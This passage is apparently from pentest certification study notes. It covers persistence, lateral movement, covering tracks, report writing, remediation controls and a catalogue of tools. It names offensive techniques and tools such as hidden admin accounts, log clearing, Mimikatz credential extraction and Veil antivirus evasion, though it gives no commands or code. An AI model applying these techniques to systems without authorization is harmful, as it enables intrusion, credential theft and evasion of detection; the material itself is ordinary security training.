🕰️ Scheduled Tasks / Jobs

- Used to **automate persistence**
- Example:
  - **Windows**: Task Scheduler
  - **Linux/macOS**: `cron`, `launchd`
- Launches payloads or re-establishes access on reboot or at intervals

---

⚙️ Custom Daemons and Processes

- **Background services** running persistently
- Disguised or renamed to **blend in** with legitimate processes
- Reinstalls shells or payloads after system reboots

🥷 Creating New Users / Accounts

- With **admin/root** access:
  - Create **new privileged users**
  - Enables **silent long-term access**
  - Often combined with log masking or hiding from UI

64/ Understanding How to Perform Lateral Movement, Detection Avoidance, and Enumeration :

Lateral Movement (aka Pivoting)

- Attackers move **within a network** after initial compromise.
- Goals:
  - 🔍 **Explore** other systems
  - 🥷 **Evade detection**
  - 📤 **Exfiltrate data**
  - 🧬 **Maintain persistence**
- 🔐 **Defense**: Use **network segmentation** to limit movement.

🧭 Post-Exploitation Scanning & Enumeration

- Tools:
  - `Nmap`, `Metasploit`
- Actions:
  - Scan for open ports & vulnerable services
  - Log into **SMB shares** using stolen credentials
  - Create **SMB shares** for data staging
  - Use **Remote Desktop**, **WinRM**, etc.

⚙️ Living off the Land (LotL)

- Use of **legitimate system tools** to stay undetected.
- 🧰 Key Tools:
  - **PowerShell**: Admin tasks, file movement, scripting
  - **WMI (Windows Management Instrumentation)**: Manage remote systems
  - **Sysinternals Suite**: Diagnose & control systems remotely
- 🧪 Example Post-Exploitation Frameworks:
  - **PowerSploit**: Keylogging, reverse shells, Mimikatz
  - **Empire**: Complete PowerShell-based C2 framework
  - **BloodHound**: Maps Active Directory relationships

🚪 Remote Access Tools

- **WinRM (Windows Remote Management)**:
  - Secure remote access using HTTP(S)
  - Can be used for stealthy lateral movement

🧨 Privilege Escalation

- **Vertical**: Regular user → Admin/root
- **Horizontal**: Access other users' resources

🧹 Covering Your Tracks

- Actions to clean up after exploitation:
  - 🧼 **Clear logs**
  - 🗑️ **Delete added accounts/files**
  - 🚫 **Remove backdoors/services**
  - 🕶️ **Use steganography**: Hide malicious data inside images/files

Reporting and communication :

65/ Comparing and Contrasting Important Components of Written Reports :

Importance of Report Writing in Penetration Testing

👥 Audience Awareness

- Tailor report content and language to **match the reader**:
  - Executives (non-technical)
  - IT managers
  - Security engineers
- Include a **clear executive summary** understandable by all roles.

📄 Standard Report Structure

1. **Executive Summary** – Clear, brief overview (risk, impact, business relevance)
2. **Scope** – What was tested and what wasn't
3. **Methodology** – Tools and techniques used during testing
4. **Findings** – Detailed vulnerabilities with **risk rating** (e.g., CVSS)
5. **Remediation Steps** – Fixes and best practices
6. **Conclusion** – Final insights and risk level post-test
7. **Appendix** – Logs, screenshots, tool outputs, etc.

🔒 Secure Distribution & Retention

- Reports are **confidential/sensitive**
- Distribute only on a **need-to-know basis**
- **Secure both digital and physical copies**
- Set defined **retention and destruction timelines**

📒 Effective Note-Taking

- Document findings **throughout the test**
- Use:
  - **Screenshots**
  - **Notes**
  - **Session logs**
  - **Videos (if applicable)**
- Ensures **accurate and traceable reporting**

🧰 Tool Support

- Tools like **Dradis** help:
  - Organize data
  - Structure findings
  - Export to professional report formats (PDF, HTML)

📚 Identify Root Causes

- Group vulnerabilities by:
  - Configuration flaws
  - Patch management failures
  - Lack of segmentation, etc.
- Add **root cause analysis** for recurring issues

🌟 Quality Matters

- The report is your **deliverable and proof of work**
- Poor quality = wasted remediation efforts + loss of credibility
- Avoid:
  - ❌ False positives
  - ❌ Missing findings
  - ✅ Provide clear, validated, actionable information

66/ Analyzing the Findings and Recommending the Appropriate Remediation Within a Report :

Analyzing Findings & Providing Remediation

- After identifying vulnerabilities, recommend **targeted remediations**.
- Recommendations fall under **four main control types**:

💻 1. Technical Controls

> Use **technology** to reduce or eliminate vulnerabilities.

- 🔒 System Hardening
- 🧼 Input Sanitization & Query Parameterization
- 🔐 Multi-Factor Authentication (MFA)
- 🧩 Password Encryption
- 🧠 Process-Level Fixes
- 🔁 Patch Management
- 🔁 Key Rotation
- 📜 Certificate & Secrets Management
- 🌐 Network Segmentation / **Microsegmentation**

📑 2. Administrative Controls

> Focus on **policies, procedures, and training**.

- 🧑‍💼 Role-Based Access Control (**RBAC**)
- 🧪 Secure Software Development Lifecycle (**SSDLC**)
- 🔑 Password Policy (e.g., complexity, expiration)
- 📜 Written Cybersecurity Policies & Procedures

🛠️ 3. Operational Controls

> Implemented by **people** to enforce security in daily activities.

- 🔄 Job Rotation
- ⏰ Time-of-Day Restrictions
- 🧳 Mandatory Vacations
- 🎓 User Training & **Security Awareness Programs**

🏢 4. Physical Controls

> Restrict **physical access** to systems, data centers, or devices.

- 🚪 **Access Control Vestibules (Mantraps)**
- 🖐️ Biometric Authentication (e.g., fingerprint, iris)
- 🎥 Video Surveillance / CCTV

67/ Explaining the Importance of Communication During the Penetration Testing Process :

Importance of Communication in Penetration Testing

📄 Final Report is Key — But Not the Only Channel

- The **final report** summarizes:
  - 🛠️ Testing activities
  - 🧩 Findings
  - 🛡️ Recommendations
- But other **real-time communication** is **just as vital**:
  - 📞 **Primary Contact** – Overall coordination
  - 👨‍💻 **Technical Contact** – For deep-dive issues
  - 🚨 **Emergency Contact** – For immediate action (e.g., active compromise)

⏱️ Communication Triggers

These require **immediate or timely reporting**:

- 🔴 **Critical Findings**
- 📉 **Indicators of Prior Compromise**
- 📬 **Status Reports & Progress Updates**

> Don’t wait for the final report to alert on serious issues!

⚠️ Avoiding Common Communication Failures

- ❌ Poor scope identification = **Scope Creep**
- ⚠️ Misreporting = **False Positives**
- 🔎 Discovery of **illegal or criminal activity** must be reported properly

---

🔁 Adaptability Through Communication

- Based on findings, the **client may shift priorities**
  - 🔄 Testing objectives may change
  - 🧭 Communication keeps testing **aligned with business needs**

📋 Findings & Recommendations Section

> This section is critical for:

- 💻 IT Teams
- 🛡️ Security Teams
- 👨‍💻 Development Engineers
- Tailor based on target:
  - E.g., For a **web app test**, the **dev team** is the primary audience

---

🧩 Include Reproducible Details

To ensure understanding and remediation:

- 🌐 **HTTP Requests/Responses**
- 📸 **Screenshots** (with redactions)
- 🧪 **Proof of Concept Exploits**
- 📝 Step-by-step on how the issue was found

68/ Explaining Post-Report Delivery Activities :

Post-Report Delivery Activities in Penetration Testing

🧹 1. Post-Engagement Cleanup

- Remove all artifacts from testing, such as:
  - 🧪 Data injected by automated tools (e.g., test payloads in web forms)
  - 📁 Residual files from exploits/tools
  - 🔐 Tester-created credentials
  - 💻 Spawned shells (bind/reverse)
  - ⚙️ Installed tools/utilities/scripts
- 📋 Provide a **cleanup log** to the client to ensure transparency and completeness.

✅ 2. Report Acceptance & Documentation

- Client should **formally accept**:
  - 📄 Final report
  - 📎 Supporting materials (e.g., raw logs, POCs, appendix files)
- Document acceptance via:
  - ✍️ Sign-off form
  - 📧 Email confirmation
  - 📂 Ticketing system closure (if applicable)

🧠 3. Lessons Learned

- Reflect on:
  - ✅ What went well?
  - ⚠️ What could be improved?

    - 📚 Any findings that led to scope changes or unexpected issues?
- Document insights for internal use or shared learning (if client permits).

🔁 4. Follow-Up and Retesting

- Clients may request:
    - 🔁 **Retests** of previously vulnerable systems
    - 📦 Tests on **new or patched applications**
- Set a **timeline and scope** for follow-up actions.

📜 5. Attestation of Findings

- Deliver a **formal attestation**:
    - 🛡️ Confirms test was completed as scoped
    - 📌 Summarizes key findings
    - 📄 May be used for compliance (e.g., PCI-DSS, ISO 27001)

🔐 6. Secure Handling of Sensitive Data

- 🧹 **Destroy client-sensitive data**:
    - Credentials, logs, captured files, database dumps, etc.
- 🔐 Follow pre-engagement **data retention & destruction policies**:
    - Secure wipe or delete
    - Client audit trail, if required

Tools and code analysis

69/ Understanding the Basic Concepts of Scripting and Software Development :

Basic Concepts of Scripting & Software Development

🧠 Logic Constructs

- **Loops**: Automate repetition of code blocks
  - Examples: `for`, `while`
- **Conditionals**: Make decisions in code
  - Example: `if` statements to trigger logic based on conditions
- **Boolean Operators**: Combine conditions
  - `AND`, `OR`, `NOT` used to control logic flow
- **String Operators**: Manipulate text values in variables
- **Arithmetic Operators**: Perform math operations
  - Addition, subtraction, multiplication, division, etc.

 Data Structures

- **JSON (JavaScript Object Notation)**:
  - Lightweight format often used with APIs
  - Human-readable key-value structure
- **Arrays**:
  - Store multiple values in a single variable
- **Dictionaries**:
  - Use key-value pairs for storing and accessing data
- **CSV Files**:
  - Plaintext files with comma-separated data
  - Common in data exchange and logging
- **Lists**:
  - Ordered collection of elements, easy to loop through
- **Trees**:
  - Represent hierarchical data using parent-child nodes
  - Used in file systems, decision-making, etc.

 Libraries

- Prebuilt collections of code, functions, templates, and documentation
- Make development faster and reduce redundancy
- Examples: Python's `requests`, JavaScript's `lodash`

⚙️ Procedures and Functions

- **Procedures**:
  - Blocks of code that execute tasks (may not return data)
  - Help break down programs into manageable steps
- **Functions**:
  - Reusable code blocks that usually return a result
  - Triggered by a function call, often include parameters

🧱 Classes

- Used in object-oriented programming
- A **class** defines how to build an object
  - Includes properties (variables) and methods (functions)
- Helps organize code into reusable components

📌 Recommended Languages for Penetration Testers

- **Bash**:
  - Command-line scripting on Linux
  - Useful for automation, data parsing, system tasks
  - Learn via: LinuxConfig, DevHints
- **Python**:
  - Most popular scripting language in cybersecurity
  - Great for automation, exploit dev, data manipulation
  - Learn via: W3Schools, TutorialsPoint, PythonGuru
- **Ruby**:
  - Powering Metasploit Framework
  - Also used in web development
  - Learn via: Ruby in 20 Minutes, LearnRubyOnline
- **PowerShell**:
  - Powerful for Windows-based scripting and post-exploitation
  - Learn via: Microsoft Virtual Academy
- **Perl**:

    - Good for regex-heavy scripting and legacy tools
    - Learn via: PerlMaven, PerlTutorial.org
- **JavaScript**:
    - Key for web app pentesting and browser-based attacks
    - Learn via: MDN, Eloquent JavaScript, W3Schools

70/ Understanding the Different Use Cases of Penetration Testing Tools and Analyzing Exploit Code :
Here's a clear and concise summary of **common penetration testing tools and their use cases**, organized by category — without tables:

🐧 Penetration Testing Linux Distributions

- **Kali Linux**: Debian-based, packed with hundreds of pentest tools, available as live boot or install.
- **Parrot OS**: Focus on pentesting, forensics, and privacy, also Debian-based.
- **BlackArch Linux**: Arch-based with 1900+ security tools, aimed at professionals.

🔍 Passive Reconnaissance Tools

- **Nslookup, Host, Dig**: DNS info gathering about domains and IPs.
- **Whois**: Domain registration details, limited due to GDPR.
- **FOCA**: Metadata extraction from documents and websites.
- **ExifTool**: Extracts image metadata (camera model, GPS, timestamps).
- **theHarvester**: Gathers emails, subdomains from search engines and social media.
- **Shodan**: Search engine for Internet-connected devices and exposed services.
- **Maltego**: Visual link analysis for people, companies, domains from public sources.
- **Recon-ng**: Modular OSINT tool automating data gathering from many sources.
- **Censys**: Internet-wide device and network data with API support.

⚡ Active Reconnaissance Tools

- **Nmap & Zenmap**: Network scanning, host discovery, open port enumeration.
- **Enum4linux**: SMB enumeration on Windows and Samba servers.

Vulnerability Scanning Tools

- **OpenVAS**: Open-source vulnerability scanner for hosts and networks.
- **Nessus**: Popular commercial vulnerability scanner with compliance features.
- **Nexpose**: Rapid7's vulnerability scanner with integration capabilities.
- **Qualys**: Cloud-based vulnerability management and continuous monitoring.
- **SQLmap**: Automates detection and exploitation of SQL injection flaws.
- **Nikto**: Web server vulnerability scanner for common flaws.
- **OWASP ZAP**: Web vulnerability scanner, proxy, and fuzzer with API.
- **w3af**: Web application vulnerability scanner with plugin architecture.
- **DirBuster**: Directory brute-forcing tool (now integrated into ZAP).

Credential Attacking Tools

- **John the Ripper**: Offline password cracking supporting many hash types.
- **Cain & Abel**: Windows password recovery and packet sniffing.
- **Hashcat**: GPU-accelerated password cracker.
- **Hydra**: Online password guessing via dictionary and brute-force.
- **RainbowCrack**: Uses rainbow tables for fast password hash cracking.
- **Medusa & Ncrack**: Brute-force tools for multiple protocols.
- **CeWL**: Creates custom wordlists by crawling websites.
- **Mimikatz**: Extracts credentials and hashes from Windows memory.
- **Patator**: Modular brute-force tool for various protocols.

Persistence Tools

- **PowerSploit**: PowerShell modules for post-exploitation.
- **Empire**: Post-exploitation framework for PowerShell and Python agents.

Evasion Tools

- **Veil**: Generates payloads to evade antivirus detection.

- **Tor**: Anonymizes internet traffic via onion routing.
- **Proxychains**: Forces applications to use proxies or Tor for connections.
- **Encryption & DNS Tunneling**: Techniques used by attackers to hide traffic or exfiltrate data covertly.

🛠️ Exploitation Frameworks

- **Metasploit**: Full-featured framework for exploits, payloads, and auxiliary modules.
- **BeEF**: Focused on exploiting browser vulnerabilities for web app testing.

🔧 Debugging, Disassembly & Reverse Engineering

- **GDB**: GNU Debugger for many languages.
- **WinDbg**: Windows kernel and user-mode debugger.
- **OllyDbg**: Windows 32-bit binary debugger.
- **edb Debugger**: Cross-platform debugger in Kali.
- **Ghidra**: NSA-developed reverse engineering tool with decompiler.
- **IDA Pro**: Commercial disassembler and debugger.
- **Objdump**: Linux tool for binary analysis.

🕵️ Forensic Tools

- **Autopsy**: GUI-based digital forensics platform.
- **The Sleuth Kit**: Command-line forensic tools.
- **Volatility**: Memory forensics framework.
- **EnCase** & **FTK**: Commercial forensic suites.
- **Wireshark**: Network traffic analyzer.
- **Cellebrite UFED**: Mobile device forensics.
- **X-Ways Forensics**: Disk and registry analysis tool.

🧪 Software Assurance Tools

- **SpotBugs**: Static analysis for Java bugs.
- **Findsecbugs**: Java security-specific static analysis.
- **SonarQube**: Continuous inspection of code quality and vulnerabilities.
- **Fuzzers (Peach, AFL, Mutiny)**: Tools for automated vulnerability discovery through random or malformed inputs.

📡 Wireless Testing Tools

- **Wifite2**: Automated Wi-Fi attack tool.
- **Hostapd**: Creates rogue access points.
- **EAPHammer**: Evil twin attacks against Wi-Fi.
- **mdk4**: Wireless fuzzing and IDS evasion.
- **Spooftooph**: Bluetooth device spoofing.
- **Reaver**: WPS brute-force attacks.
- **WiGLE**: Wireless network mapping.
- **Fern Wi-Fi Cracker**: Wireless cracking toolkit.

🖼️ Steganography Tools

- **OpenStego**: Hide and extract hidden data in files.
- **snow**: Text steganography.
- **Coagula** & **Sonic Visualiser**: Audio steganography and analysis.
- **TinEye**: Reverse image search.
- **metagoofil**: Extract metadata from files.

☁️ Cloud Security Tools

- **ScoutSuite**: Security assessment of cloud providers (AWS, Azure, GCP).
- **CloudBrute**: Cloud resource enumeration.
- **Pacu**: AWS exploitation framework.
- **Cloud Custodian**: Cloud governance and security policy enforcement.